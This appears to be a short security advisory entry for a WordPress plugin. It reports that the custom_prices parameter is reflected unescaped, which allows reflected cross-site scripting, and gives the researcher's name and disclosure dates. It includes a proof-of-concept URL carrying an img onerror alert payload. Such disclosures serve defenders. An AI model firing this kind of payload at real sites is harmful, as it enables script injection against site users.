The plugin does not sanitise and escape the custom_prices parameter before outputting it back in the response, leading to a Reflected Cross-Site Scripting issue
https://example.com/wp-admin/admin-ajax.php?action=woocs_get_custom_price_html&custom_prices[]=%3Cimg%20src%20onerror=alert(`XSS`)%3E
Krzysztof Zając
Krzysztof Zając
Yes
2021-12-13 (about 1 years ago)
2021-12-13 (about 1 years ago)
2022-04-11 (about 9 months ago)